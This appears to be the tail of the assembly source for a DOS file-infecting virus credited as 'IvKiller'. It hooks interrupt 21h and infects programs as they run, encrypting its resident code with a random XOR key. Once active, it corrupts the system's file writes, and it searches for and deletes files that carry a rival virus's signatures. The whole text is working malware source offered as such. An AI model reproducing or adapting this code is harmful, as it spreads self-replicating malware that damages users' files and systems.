xor cx,cx
mov ah,4eh
int 21h ; find first
jc done_with_iv
find_loop:
lea dx,ff_name
mov ax,3d00h ; open file
int 21h
jc not_iv ; if error opening then skip
xchg ax,bx ; get handle
mov ah,3fh ; read first word
mov cx,2
lea dx,killiv_buf
int 21h
call close_phile
mov ax,word ptr killiv_buf
cmp ax,0FEA1h ; is iv?
jz yea_iv
cmp ax,0C307h ; is iv?
jz yea_iv
cmp ax,086BBh ; is iv?
jnz not_iv
yea_iv:
lea dx,ff_name
call delete_phile ; delete the phucker
not_iv:
mov ah,4fh ; find next
int 21h
jnc find_loop
done_with_iv:
pop bx
ret
killiv_buf dw 0
filespec db '*.*',0
ff_info db 30 dup (0)
ff_name db 13 dup (0)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; new 21h
new21:
pushf
cmp ax,signal ; be it us?
jnz not_us ; richtig..
cmp dx,vsafe_word
jnz not_us
cmp bl,special
jnz not_us
xor si,si
mov di,4559h
jmp jmp_org
not_us:
cmp cs:activate,0 ; time to activate?
jz nchk
cmp ah,40h ; write to phile?
jnz jmp_org
xor dx,dx ; phuck up address..
nchk: cmp ax,4b00h ; execute phile?
jnz jmp_org
push ax bx cx di dx si ds es bp dx
mov ah,2ch ; grab random for cryptor
int 21h
mov byte ptr cs:xor_val,dl
pop dx
call crypt_res
call infect_file
call crypt_res
pop bp es ds si dx di cx bx ax
jmp_org:
popf
db 0eah ; jump far XXXX:XXXX
old21 dd 0
new_24: ; critical error handler
mov al,3 ; prompts suck, return fail
iret
activate db 0
txt_ptr dw offset credits
credits db '[IvKiller, by ûirogen]'
credit_end:
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
rel_off dw 0
exe_header:
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
heap:
db 16h dup(0) ; remaining exe header space
old_24_off dw 0 ; old int24h vector
old_24_seg dw 0
vend:
cseg ends
end start